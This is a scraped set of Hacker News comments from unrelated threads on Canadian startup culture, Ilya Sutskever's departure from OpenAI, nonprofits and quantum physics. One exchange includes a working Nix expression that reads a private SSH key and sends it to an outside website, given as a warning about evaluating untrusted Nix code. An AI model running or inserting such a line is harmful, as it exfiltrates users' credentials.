What Mercedes, Porsche, Audi can do aside continue to produce the cars over and over again until they are overtaken by somebody else? Hell, both EU and USA need tariffs to compete with chinese automakers.
Here is Leike's paper, coauthored with Hutter:
https://arxiv.org/abs/1510.04931
They can probably sum it up in their own paper better than I can, but AIXI was supposed to be a formalized, objective model of rationality. They knew from the start that it was uncomputable, but I think they hoped to use it as a sort of gold standard that you could approach.
But then it turned out that the choice of Turing machine, which can be (mostly) ignored for Kolmogorov complexity, can not be ignored in AIXI at all.
I don't believe in AI "safety measures" any more than I do in kitchen cleaver safety measures.
That is, nothing beyond "keep out of kids' reach" and "don't use it like an idiot" but let the cleaver be a damn cleaver.
Neither of which will be enforced with AI
I’m Canadian and disappointed at how ineffective we are at building successful companies.
NB some actual Canadians in this thread have voiced this possibility.
The idea is precisely that not having SV types around _improves_ the country, i.e. makes it closer to the preferences of Canadians.
And yes, having a foreign tech worker doing 9-to-5 in a large legacy company for thoroughly average salaries is very different from having a SV-style startup culture. There is very little process in Canada to make life difficult for the former style of company, and plenty of process to make operations difficult for the latter.
If not having SV folk improves Canada for Canadians, and hqving SV folks improves America for Americans, then this is just mutually beneficial trade. Efforts to try and stop brain drain still makes sense: it's even better if you can convince the citizens you trained to engage in the economic activity you actually want instead of economic activity that you find undesirable, but if you're unable to convince most of them, letting them go is still better than having them stay and engage in their undesirable behavior anyway.
Compare: if a large minority of Icelanders wanted to work for the Baby (which Iceland doesn't have), theb stopping the brain drain (convincing them to work in the Merchant Fleet) is the best outcome, but funneling them out (training them in merchant navigation and watching them join the Danish Navy) would still be preferable to them engaging in their desired behavior anyway (form their own pirate gang preying on the very Merchant Fleet you're trying to advantage).
Immigrants coming into countries start companies at a disproportionate rate compared to natives.
Other than unquantifiable statements about what "Canadians want" everything you mentioned so far to justify this idea of "canada doesnt care if tech graduates leave" is falsifiable by data.
You're welcome to present data falsifying the actual claim if you think you have it (instead of the "Canada doesn't care" straw man or misunderstanding that you repeat above, noting that so far you have not even refuted your own straw man by presenting any data).
This is your claim that I engaged with. If your claim is true it literally means that Canadians do not care if those people leave, in fact they would prefer it. My argument is that you're wrong and Canada and it's people would rather have more tech workers and more tech companies.
I don't believe I'm misunderstanding so I think we should probably both give up at this point.
But I agree that we should probably disengage, so (barring exceptional new insights on my end) will leave this as my last post in the thread. Thanks for the chat.
There is a reason why there are not many startups in Europe - if you can have a decent life, secure job and a nice social security - no worth playing risky games. I would not be surprised if just sheer layoffs in USA led to more startups than in the whole Europe.
I read this as if you'd be concerned of Canadians using their tech skills run malware groups, if Canada wouldn't let them leave and join SV companies.
It's not perfect, but neither is anything else I couls.come up with. Take the following:
- Persia would prefer many trained accountants so that PersianAccountants, the shah's preferred supplier of accounting technology, can hire cheaply from a large talent pool.
- Ambitious, trained accountants leave for the U.S. to work on DisruptiveAccounting.io, earning big bucks and disrupting the U.S. accounting sector.
- If Persia changes the kingdom's procedures and incentives, the same accountants would stay and found DisruptiveAccounting East, instead of working for PersianAccountants. This would be strictly worse for the shah than letting them leave.
The problem is, if I were to use this metaphor, people would get hung up on the difference between democracy and monarchy (preferences of one autocrat vs. that of the majority) and most Americans just straught up do not understand why anybody, much less the majority, would prefer not disrupting the accounting sector.
I.e. if they don't understand what I'm saying about Canada not liking the third option, the metaphor falls flat: they also won't see why the shah doesn't like the third option.
So I had to look for a metaphor where the obvious alternative is undesirable to most Americans. Hence piracy. The problem is that there's another reading now (the software engineers will become criminals).
Do you have a metaphor that would avoid both issues? I'd love to hear it!
Canada's skilled immigration policy is a train wreck, but that's another issue.
That's if you're stuck in tech support. When you start doing actual ground breaking work it starts at x10 and goes up significantly.
In Canada you'd be lucky to get USD 180k total comp.
It really is x5 to x10 for seniour programmers.
No new startups are getting it.
It's also like pulling teeth trying to explain to people that if we don't offer compensation commensurate with what they get in the US people will just leave for the US.
There is some form of brain damage where even people who know how to code assume that because you can get a crud developer for $80k a year you should get an AI researcher for $150,000. It's nearly double after all.
It might not be a year after uni, might not be 10, but eventually they will move because the pay in the US is just so much better than anywhere else.
No evidence that SRED has done anything ever for actual R&D. I've seen people get SRED for making web pages in JavaScript&HTML. When I had to fill in the SRED stuff it was ridiculous. Someone doing actual innovation would throw their hands up in the air.
You might want to blame the government or this or that but I think as a Canadian I've finally come to reckon with the fact that it's just not in the Canadian ethos to do risky things like make startups. Of course there are exceptions to the rule but they are very very rare. Canadian investors don't want to take big risks and the Americans are just next door waiting to gobble up the talent in search of capital.
What’s the worst that happens? It doesn’t work out and after five years you go get a job in boring corp corp with an incredible skillset and vast life experience.
You’ve sacrificed some income perhaps, but so what? People make choices like that all the time. Your working career could easily be 40 or 45 years, 5 is not that much and it’s not like you went bankrupt. Your skillset might even mean you more than make up for lost time.
I don’t understand the talk of “risk” unless you’re Elon Musk betting the farm on your businesses and facing bankruptcy.
Work in your spare time until you have something Angel worthy, then get a modest salary to get to the next level and on you go. Or just bootstrap.
Is it easy? No, it’s the hardest thing you’ll ever do. Is it risky? Not so much.
So why do Canadians and Brits see it as a risky thing to do? I think they don’t. What they see is _uncertainty_ - where will I be in six months? What if it doesn’t work out? What if I fail and people judge me? They don’t like uncertainty. That is conservative with a small c. Probably it’s a cultural artefact rather than anything remotely rational. The problem is you end up in an equilibrium where the society is conservative (“what you wanna do wasting your time with that”) so the ambitious people just leave and go to somewhere like (parts of) the US where people want to change things, make things, improve the world. And the conservative society gets more conservative until it is ossified.
Startups carry high uncertainty but not high risk.
Or I can fail at a startup and be close to zero five years later, the fact that you aren't homeless and starving and can get another job doesn't mean it wasn't risky, you still wasted a bunch of years compared to slow and steady accumulation.
I've read the majority of millionaires in the US get created like this, working and saving through decades.
You're basically repeating investor kool-aid, because for their model to work, 100 people will fail and 1 succeed, and so they tell you to not worry if you're in the 99.
For me risk is “could go horribly wrong” but the worst case for most startup founders is … get a job?
Yes, you might waste five years (in your words) of income. But that is not a "risk".
A "risk" for me is "this could all go badly wrong". Not having an extra five years of savings is just a fairly straightforward consequence. It's predictably going to happen, I can decide if I want it.
Real risk is "something can go catastrophically wrong". If say you've taken out a huge bank loan to fund the business and you have to declare bankruptcy if it fails, now _that_ is a risk. But nearly every founder I've ever met has taken nothing like that risk.
That's my point, startups are not risky in that sense, for most people, most of the time. It's kinda strange that so many people think they are.
Also failures aren't considered the same in every job market.
Us is so outrageously better than the rest that people fly across oceans to start businesses there. Canada, being next door, doesn't have the distance moat to at least slow down the brain drain
A small crew of people could potentially build the next WhatsApp. On Erlang.
I know people from "first world" countries like Japan and France that are come to work in the US simply because it pays much more.
For many reasons, only some areas succeed whilst the rest fail. In this case, Canada doesn't have silicon valley, nor do they have a high amount of start ups.
I'm spoiled by walkability and quality cycling infrastructure.
My latest annoyance is all the moaning and groaning about the latest capital gains tax increase. People complaining on one hand about how the Canadian economy lacks productivity, and then screaming to high heaven about tax policy that mostly only impacts people making quick speculative cash.
Investment takes no risks in this country because they don't have to. They just dump money into real estate or oil & gas instead and then hang at the lake in the Muskokas.
Canada is actively hostile towards tech and suffers from crippling salaries and investments. The idea of "business" in this country is buying a house and renting its basement.
Our government's incompetence is comical, we are nothing but more than a tech talent / immigration proxy for United States at this point.
(I'm an American, FWIW.)
and "Hard" Things: The work culture, Cost of living
(1) Access to size of market even if online being US vs 'foreign' has advantages in political arena/regulatory benefits
(2) Significant tax advantages for US investors vs limited tax advantages for Canada (Angel+VC)
(3) Risk Appetite (impacted by size of market) - compounded by tax disadvantages (why would you take risk if your lining the pockets of the government?)
(4) Bench depth on talent once you really start to scale your company
(5) CAD strength (double edged sword) - talent goes South for better salaries (+ you need to compete), if the company revenue is in USD and employees are paid in CAD
(6) Start-ups paying in equity, early employees taking on that risk actually will get taxed heavily under new cap gains so the incentive to work hard for money is lower.
(7) Network effects of being in the valley - idea percolation, new playbooks, talent, competitiveness, company fitness
I will add that in this very specific AI case there is limited way you are going to find the depth of talent and capital in the country to make that company fly at the scale it needs to be.
but that's not what we see. people build because they still have a chance a making a lot of money.
also, like canada can build successfully tech companies. yes, I realize there should be more canadian tech darlings, but I don't think it has to do with high taxes so much as it has to do with Canadians being comfortable and not feeling the need to sacrifice everything to try and build the biggest thing.
If you look at Canada's most successful tech companies, the founders usually sell and enjoy a more comfortable existence.
How many money does OpenAI _directly_ pay to CA in taxes? Sure the employees pay a ton in taxes but as an investor if you're going to lose more in taxes by investing into a Canadian company vs a California company then you invest into CA.
Taxs on investors are quite high in Ontario/Canada compared to California. Not only does this minimize the outcome for the investor - it decreases the risk for making larger bets on big outcomes. In terms of exits -- you have a smaller playing field and fewer buyers being based in Canada vs USA. All the things add up to make a smaller opportunity for investors and builders and you work harder to pay more taxes to the government.
In terms for your ambition argument -- that could be an inherent problem in Canadian culture that no one wants to change the status quo - it is definitely a different culture than SV. The largest city is captured by financial industry for the most part which doesn't bode well for innovation.
And the cost of living is going up, which is going to make even more talented Canadians uncomfortable. These days if you ever hope to own a house, you basically can't go the stable 9-to-5 route.
If investors in Canada were throwing hundreds of millions into moonshot startups the way that they do in Silicon Valley, probably most Canadian entrepreneurs would build those companies at home. But the investment landscape is such that the investors who have that much money opt to lever up on real estate instead.
We also had Ethereum be born right around there as well around 2014. I remember the first Ethereum meetups around Queen and Spadina with Vitalik.
But to another posters point. Even though we had the father of deep learning Geoffrey Hinton and lumiaries like Ilya, and Vitalik, we didn't manage to get any real benefit from that.
In that comment, you wrote:
> It can delete your home directory or email your ssh private keys to Zimbabwe.
I thought that you might be interested to know that it is still possible to exfiltrate secrets by evaluating Nix expressions. Here is an example Nix expression which will upload your private SSH key to Zimbabwe's government's website (don't run this!):
let
pkgs = import (fetchTarball "https://github.com/NixOS/nixpkgs/archive/0ef56bec7281e2372338f2dfe7c13327ce96f6bb.tar.gz") {};
in
builtins.fetchurl "https://www.zim.gov.zw/?${pkgs.lib.escapeURL (builtins.readFile ~/.ssh/id_rsa)}"
Hope this helps.
Also, it doesn't work:
error: access to absolute path '/home/user/.ssh/id_rsa' is forbidden in restricted mode
https://nixos.org/manual/nix/unstable/command-ref/conf-file....
Hope this helps.
I don't think it did. I'm not sure what it was supposed to help with.
Ah, I over-quoted that part. My mistake.
> Also, it doesn't work:
It will work with the default Nix settings.
> Turning off restrict-eval is pretty crazy; there's no reason to do that and it's dangerous.
One would need to first turn it on to be able to turn it off.
> https://nixos.org/manual/nix/unstable/command-ref/conf-file....
Indeed, note the default value.
> I don't think it did. I'm not sure what it was supposed to help with.
I was hoping that it would be interesting to you, but also help avoid spreading false information that might mislead people into evaluating Nix code when it's not safe to do so. But, I think I understand now that maybe you don't care about what happens to other people.
I definitely enjoyed this movie, and it's understandable that people of any era, starting with ancient Greece, enjoy lamenting at how stupid people are becoming. However, as long as videos explaining quantum physics and 4-hour long interviews with historians and engineers are still one of the most popular kinds of content on Youtube, I would suggest that it's not a documentary, at least not yet.
Also they won't do that anymore, I'm sure.
Of course there are lots of hard workers at Google. You suggest only about 10% are slackers. But that's 10% of a -lot-.
I'm thinking there's a market for an Android app that let's one schedule limited roof space...
Sorry, are you saying you worked with Google Contractors or TSEs or something? I don't understand how you'd be working with product SWEs so I don't know what you're quite saying.
i.e. get the contractors in to rush out the new 5D screensavers, give them the contact info for our screensaver technical lead, and let them work it out. Screensaver technical lead saying they don't have resources for this until 30 months from now is placated. Their tendency to jealously guard code and talk smack is directed at people who will never know. The understanding that you always say "Sir Yes Sir" prevents them from complaining to their manager behind a few nasty comments they'll giggle about to eachother.
Of course, this also saves money too: ex. director-make-work "vision" projects that'll never ship, and are temporary work for worker bees, now can be temporarily staffed. (hence their reference to NDA/alpha/beta)
* especially in the context of the claim that there's 8:1 ratio of late night workers to rest-and-vesters. Crazy.
"I want to work with the team to get this thing done"
to keep??
NO! whatever gave you that idea, evil doer...
Open AI, as in, open your hands and beg for another hit of AI through thick rubber gloves and plexiglass.
Are these "first name" (ugh) "influencers" smart? Sure.
Smart is not that rare. These people are technologists like most of you, they aren't notably smarter, they just got lucky in their career direction and specialization. They aren't business geniuses.
They're just people filling roles.
Do changes in leadership affect a business? Sure? I guess? About 5% as much as you'd think from the tea-spilling gossip-rag chatter around AI people.
Enough already. Attend to the technology. Attend to the actual work. The number of you who are professionally impacted by these people changing paychecks is closer to zero than 50%.
I did once leave a company with a phrase just like that :P A few people there actually got the reference and congratulated me for the burn.
Im sorry but every time I see Sam speak, or read what he has to say all I can thing is "petulant man child".
> ... Ilya is easily one of the greatest minds of our generation
> ...Jakub is also easily one of the greatest minds of our generation
I'm not calling you a liar sam, but I just dont believe you.
Now? Probably not too much, they have enough investment, and additionally talented people wanting to join. I mean, Andrej Karpathy also joined and left OpenAI twice and it didn't impact operations much.
I think OpenAI is now where Google was at or just before its IPO, a few key players leaving isn't going to impact them as much as it would have in its earlier founding days, and there is plenty of talent who are ready to jump in to fill the shoes of anyone who leaves.
https://www.ftc.gov/news-events/news/press-releases/2024/04/...
Via the FTC link:
"Existing noncompetes for senior executives - who represent less than 0.75% of workers - can remain in force under the FTC’s final rule, but employers are banned from entering into or attempting to enforce any new noncompetes, even if they involve senior executives. Employers will be required to provide notice to workers other than senior executives who are bound by an existing noncompete that they will not be enforcing any noncompetes against them."
After this change they will have only one.
Not actually sure how much Ilya was doing in the end, but clearly he did a bit, so it's likely a big a loss whatever way you look at it.
Ilya, thanks for all you have contributed within OpenAI!
He wouldn't have left if he could advance hoomanity further there, the guy has like a 800ms delay for each word and that does not make for a very good liar, perhaps a dutiful one.
Apple is considered to be seriously lagging behind in ML. Just his name alone is probably enough for the time being - They can give him his own lab to do whatever he wants. Ilya will attract enough talent, at least some of whom will be willing to take up responsibility over commercial stuff in the coming years.
Being both coach and player at the same time is not a good idea.
I don't believe it either, but in case it happened, it might make some sense that way.
But if it were related, then that would presumably be because people within the company (or at least two rather noteworthy people) no longer believe that OpenAI is acting in the best interests of humanity.
Which isn't too shocking really given that a decent chunk of us feel the same way, but then again, we're just nobodies making dumb comments on Hacker News. It's a little different when someone like Ilya really doesn't want to be at OpenAI.
This is baseless fear mongering given that.
That's why I don't trust people who run around claiming to be serving the best interests of humanity - glassy-eyed futurists with all the answers should be approached with caution.
I love these "kill 'em all and let God sort them out" arguments.
There is no evidence of this being true.
He is one of the biggest proponents of keeping AI closed-source, by the way.
From quite different reasons than profit, tho
Sure, if they are in a position of power they will wield it how they want. When he caused the whole fiasco, he probably thought it was going to work.
But if the choice is between losing the position of influence, or deciding between what position of influence to accept next, well you'll see that the principles are very flexible.
We already saw this happen with a few of the "safety" researchers that got fired from OpenAI, and yet started working on X AI (I think?), which is definitely not know for "safety".
I’m surprised he lasted this long.
Thanks for the reminder though, been a while since I've thought of The Wire :)
*procrastinate
I’m not the only one?
So this is what it’s like when doves cry! - Milhouse
Yet all the AI weirdos on Twitter seem convinced that Ilya "saw something" (AGI) and got scared and wanted to pull the plug...lmao.
Whatever it is, language seems key to intelligent algorithms.
Nah, he departed due to politics (failed coup) and shift from research first to profit first. Same with Karpathy I believe.
He’ll most likely go somewhere where he can get a lot of compute and go back to research first.
That doesn't matter, they know how to do LLMs, they don't know how to do AGI. To modern capitalists that means you invest in one and the other someone else can do.
OpenAI was exploratory until they found something that could make them rich, then they went closed and for profit, now you should see them as just another for profit.
I'd argue there's no money in AGI. Such a technology actually being available would be such a seismic shift in society that it breaks every commonly accepted economic norm we have today.
Real AGI means ALL knowledge workers are effectively out of a job. And AGI + advanced robotics means everyone is out of a job. Once no one has jobs, money loses all purpose.
Whatever company invented AGI, if it ever happens, may rule the world but it won't be with money.
The investors want their money before people realise they have been oversold the dream/threat of AGI.
> Yet all the AI weirdos on Twitter seem convinced that Ilya "saw something" (AGI) and got scared and wanted to pull the plug...lmao.
The market to believe in made-up stories is alaways strong.
It’s cool and all. But I’m not sure if I’d say it’s as useful as flight yet.
If I could choose between LLm access and aviation, I’d stick with aviation.
> Jakub is also easily one of the greatest minds of our generation ...
Phew, I was worried he'd be irreplaceable or something. Hopefully they've already standardized the comp package.
I definitely think that how the board handled the situation was very inept, and I think the naivety over the blowback they would receive was one of the most surprising things for me. But after reading more about the details of what happened, and particularly writings and interviews given by the former board members, I don't think any of them did this out of any particular lust for power, or even as some sort of payback for a grudge. It seemed like all of them had real, valid concerns over Sam's leadership. Did those concerns warrant Sam's firing? From what I've read, I'm of the opinion they didn't, but obviously as just some rando on the Internet, what do I know. But I do think that there were substantive issues in question, and calling it a "palace coup" diminishes these valid concerns in my mind.
But Sam as 'conman' might just be the impression because he is more on the promotion/marketing side.
I've been under the impression that Ilya is the brains. So this seems bad for long term growth.
You mean a lump of salt? I've always wondered what the right word is to describe this amount of salt /!jk
Now back to figuring out something new for a 6-year old to program using Scratch...
The fact Ilya himself tweeted about it too was also easily the most PR tweet of our generation.
:D
You don't generally get to excuse bad behavior because you can make up a hypothetical different person doing the same bad thing in that situation.
I completely understand your perspective, and I hope I'm always strong enough to listen to my conscience and obey my morals.
One of the first interviews I was ever offered in a technical role was for Bechtel, in 2004. I was desperate to break into a career, I accepted the interview. I was in the car driving to the location, and just realized I couldn't do it. I couldn't ignore my morality to work for such a clear and direct war profiteer, that as a private company, had no oversight.
If I join a non-profit that has a humanitarian mission, I do so because I'm into the mission and feel fulfilled by that more than my comp. I can't imagine trading that in just because @sama got thirsty.
The mission is futile, the mission at this organization has been compromised and corrupted. Resign and continue your mission elsewhere.
The only difference between nonprofit and for-profit entities is that nonprofits divert their profits to a nebulous “cause”, with the investors receiving nothing, while for-profits can distribute profits to their funders.
Other than that, they are free to operate identically.
Generally, entities subject to competitive pressures and with incentives for performance are much better at “benefitting humanity.” Therefore, non-profit status really only makes sense when, one, a profitable enterprise oriented around the intended result isn’t viable (e.g., conservation) or two, there’s a stakeholder that we’ve decided ought to be sheltered from the dynamics of private enterprise, e.g, university students or neutral public broadcasters.
But even in these cases, the non-profit entities basically behave like profit-oriented companies, because their goal is still profitability, just without a return to investors.
OpenAI as a nonprofit would behave the exact same way. There’s no law that the models would have to be open. They’d still be making closed models, charging users, and paying massive salaries. Literally the only difference is that they wouldn’t be able to return money to their investors, and therefore have a much harder time attracting investors, and therefore be less equipped to accomplishing their goal of developing powerful AI.
The irony is that nonprofits are usually only good for things that make for shitty businesses, and things that make shitty businesses usually aren’t that beneficial to humanity. As soon as something becomes really good at what it does, for-profit status makes sense.
What this means, imo, is that most philanthropy dollars are wasted and we would be much better off if they were invested instead. The irony is that this is the point of much philanthropic giving - it ends up being a game of how much money you can burn on nothing, a crass status symbol.
It happens everywhere
The entire point of the pre-commitment device is because you (or other stakeholders) are anticipating that your thinking will get distorted over time. If you could be trusted to make such a decision in the future then you wouldn't have written a charter to bind yourself.
Weclome to San Francisco
mirror: https://ghostarchive.org/varchive/7nORLckDnmg (1m 15s)
There's no doubt Ilya is highly respected in the field, but not to the same extent as Albert Einstein is in physics.
Maybe with time, but certainly not today.
In fact, his arguments against nonlocality were later disproven experimentally in the '80s, as quantum mechanics allowed for much higher fidelity predictions than could be explained by a hidden variable theory [0].
I don't think anyone _likes_ the Copenhagen interpretation per se, it's just the least objectionable choice (if you have to make one at all). Many-worlds sounds cool and all until you realize that it's essentially impossible to verify experimentally, and at that point you're discussing philosophy and what-if more than physics.
Intuition only gets you as far as the accuracy of your mental model. Is it intuitive that the volume enclosed by the unit hypersphere approaches zero [1] as its dimensions go to infinity? Or that photons have momentum, but no mass? Or you can draw higher-dimension Venn diagrams with sectors that have negative area? If these all make intuitive sense to you, I'm jealous that your intuition extends further than mine.
Copenhagen, on the other hand, doesn’t offer a workable model of how and when the wave function collapses, and doesn’t offer any predictions in that way (there are theories of wave function collapse that actually make predictions — some of which have already been falsified by experiment). For that reason Copenhagen isn’t “least objectionable”.
Copenhagen is basically an admission that we have no good intuition for why QM behaves the way it does, and wavefunction collapse is merely a way of justifying existing observations within the framework of QM.
IMO all the discussion about how wavefunction collapse doesn't scale to larger ensembles of particles, or the boundary between QM and Newtonian mechanics being ill-defined is noise -- the bridge between the two is statistical mechanics, where classical mechanics only arises from sufficiently large macrostates such that you can aggregate out any quantum mechanical properties. And QM is generally understood to be a toy model in the same way that Newtonian mechanics is a toy model -- it's useful in the realm where we use it, but when you push beyond the limits of that realm, its deficiencies become apparent.
That's why I don't think the proposed experiments to test many-worlds are particularly meaningful (since AFAIK they all seem to involve performing interference on enormous ensembles on the scale of entire humans) -- it's well beyond the limits of where QM is useful (also, I personally don't think we'll ever be able to operate quantum-mechanically at that scale).
But you have a good point. Ilya got us so much closer to AGI, but he might not like the results now.
Sure some people do ‘jump off the burning platform’, but most like to have some alternative options worked out.
Stability will most likely make him CEO.
So he may have a blank check but not nearly enough to build an OpenAI competitor.
Would love to see him at IBM with full use of their quantum systems.
I’m picturing a Wild Wild West-style mad scientist, creating a steampunk army from old spare parts from Big Blue and rising up to challenge the cyber people.
Lol no. There is about ~$500B in VC dollars, not to mention $1.2T in buyout dry powder still floating around. Not to mention venture funds raised continue to grow YoY.
https://www.bain.com/globalassets/noindex/2024/bain_report_g...
Many of the VCS are over-exposed and still need to have funds to cover follow-on investments in the space. Not buying that there is the widespread appetite to fund a multi-billion new startup like there was a year or two ago.
No VC who wants anything to do with OpenAI would invest in Ilya.
Ilya represents the anti-OpenAI ethos. So it would only be a VC who would be comfortable publicly being an anti-OpenAI VC, which is not that many.
Can you elaborate more on this? What are some of the things the anti-OpenAI ethos stands for? And why do you think Ilya represents that given he was such a major part of OpenAI for so long?
Again, why would any VC give Ilya money if that in any way signals that they are supporting someone who tried to oust the CEO of OpenAI from within? They wouldn't.
He's brilliant, which means someone will take a leap of faith, but he badly, badly damaged his brand as a leader going forward.
> Sam Altman is a prolific liar who attempted to oust a board member by spreading different lies to different people
Correct, it would be bad judgement. Because if he really believe in that statement, that Sam Altman is a hyper competent liar and manipulator, doing what Ilya did just led to Sam getting the keys to the kingdom.
This shows extraordinary incompetence from him and the rest of the board.
[1] https://www.ftc.gov/news-events/news/press-releases/2024/04/...
It's a match. Probably the best match possible.
This allegation calls for more context.
Grok was explicitly built to not be woke, but of course still ended up pretty woke. That's because LLMs come out liberal by default, since the internet is liberal, whereas racists often think they're secretly right and the AI has been "censored" to shut it up.
If we truly live in the "most entertainig outcome" timeline, this is definitely what's going to happen.
Also, you underestimate Elon Musk if you think he's not capable of researching specialists in the fields he is interested in, I believe many people are hellbent on attributing all his successes to dumb luck rather than any sort of competence.
I could acknowledge that a hypothetical smart, woke, furry, trans, porn-addicted programmer that regularly makes great FOSS contributions is intelligent and capable while still disliking their beliefs/behavior.
Separate the "art" from the "artist."
I mean, Jakub can take it forward at the current scale and leadership team of Sam and other people, but maybe he could not have earlier, which is where Ilya shone?
OpenAI under Sam strikes me as completely disingenuous - and the constant hyperbolic tweeting by many OpenAI employees just reinforces that.
Too bad. While I don’t really think that OpenAI is on the right track for general intelligence, it certainly could have been a positive for the world.
He's brilliant, no doubt, but he shouldn't be in leadership.
An hour and a half later, when we finished this talk, I looked at my friend and told her, “I’m taking back every single word that I said to Ilya.”
He freaked the hell out of people there. And we’re talking about AI professionals who work in the biggest AI labs in the Bay area. They were leaving the room, saying, “Holy shit.”
The snapshots above cannot capture the lengthy discussion. The point is that Ilya Sutskever took what you see in the media, the “AGI utopia vs. potential apocalypse” ideology, to the next level. It was traumatizing.'[0]
[0] What Ilya Sutskever Really Wants https://www.aipanic.news/p/what-ilya-sutskever-really-wants
I'm not saying it's a conspiracy, but it's an awful big coincidence, especially since today is Tuesday and usually these things happen on a Friday.
And they have their own people who equally know how LLMs work.
Even raising funds is not a certainty given that VCs are becoming more cautious with AI as they realise it's now a platform fight between the mega corporations.
2-3 years ago sure, but now? Maybe he knows how to reduce that need by order of magnitude.
You'd think any investor would be utterly stupid to not make an exception for Ilya, regardless.
Of course, the next -revolution- in AI could very well come from Ilya. But why would he bestow that honor to anyone? He can self fund it if he wants. It's an R&D project, not a scaling problem.
I would argue that is not the case. I won't re-list some of the reasons other posters mentioned, which, based on past year, appear more likely ( decisions hamstrung by corporate committees, data governance bureaucracy, and last, but not least, ideology focus ). Leadership that is actually focused on 'delivering value to the shareholder' or not being worried about first mover advantage seems only a part of it.
edit: added first mover wording
this led to the release of Gemini which was absurdly biased when viewed by the typical American.
The compliance regime at big corps is definitely more sophisticated than at a player like OAI
If they focused all of their energy on, simply, a frontier AI model, and not trying to shoehorn a half-complete model into all of their products, there is no doubt they would be ahead.
But this is the innovator's dilemma, and why it is that startups are the disruptors.
Big companies move slow and lack focus. Small companies move fast and can only focus on one thing.
I don't really understand that. ChatGPT is not all that impressive as an actual tool for many things. It doesn't really seem to matter to me what energy and compute is going into it. Will it make it actually work?
It _is_ the best frontier LLM in the world, and virtually the entire global population of people who care about that are in this thread
Just executing the client right would give someone a competitive advantage right now...
an LLM is a curiosity without user data, anyone with a big silo of data can put out something years behind frontier and still instantly see huge usage. No one wants to go to AI, they want AI to come to them, unless OpenAI can stake a claim in a super novel way they're the Dropbox.
It's not like someone is going to use insider OpenAI knowledge to build an LLM so advanced you switch email, phone, or ERP providers
Let's say Google's LLM has slightly poorer reasoning, and you have to be really clear when you tell it to delete your old emails. What are you going to do, go to ChatGPT and have it very eloquently walk you through how to manually delete your emails?
But the idea that Google, the terrifying nation-state, who covetously gobbled up most of the bright minds of a generation, just couldn't fathom RLHF, means you think there is some inherent magic at OpenAI.
I use OpenAI's models a lot, obviously they're great, but whole-thread-as-context as a product is not a product, and Google has people plural who could execute that from first principles.
If Apple, Google, or MS are integrating LLMs, they can't get away with "you can talk to this website". The intersection of "has the cash to train a LLM" and "LLM is itself the entire offering" is very small
If you mean the other kind of ERP they will definitely do that; it's basically all /r/localllama is about.